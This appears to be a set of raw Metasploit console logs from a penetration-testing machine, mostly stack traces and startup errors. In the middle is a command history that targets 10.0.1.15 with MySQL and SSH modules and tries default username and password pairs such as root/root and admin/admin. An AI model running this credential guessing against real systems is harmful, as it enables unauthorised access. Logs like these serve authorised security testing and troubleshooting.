    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:185:in `block in monitor_clients'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:184:in `each'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:184:in `monitor_clients'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:64:in `block in start'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' - ThreadError can't alloc thread


_raw: [11/08/2025 11:06:33] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 11:06:21] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:06:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql
use 31
info
set RHOSTS 10.0.1.15
info
run
set PASSWORD root
set USERNAME root
run
set PASSWORD admin
set USERNAME admin
set PASSWORD Administrator
set USERNAME Administrator
run
set PASSWORD root
run
set PASSWORD password
run
back
search mysql
use 18
info
set RHOSTS 10.0.1.15
info
run
set USERNAME root
run
set PASSWORD root
run
back\
back
search ssh
use 0
info
set RHOSTS 10.0.1.15
info
run
back


_raw: [11/08/2025 11:00:42] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 10:54:01] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 10:53:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 10:49:15] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
[11/01/2025 21:00:03] [e(0)] core: Thread Exception: JobID(1)-Exploit: windows/browser/java_codebase_trust  critical=false    source:
    /usr/share/metasploit-framework/lib/metasploit/framework/thread_factory_provider.rb:25:in `spawn'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `spawn'
    /usr/share/metasploit-framework/lib/rex/job.rb:44:in `start'
    /usr/share/metasploit-framework/lib/rex/job_container.rb:62:in `start_bg_job'
    /usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:158:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:145:in `exploit_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:173:in `exploit_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:45:in `exploit_single'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:184:in `cmd_exploit'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - Errno::EIO Input/output error @ io_write - <STDOUT>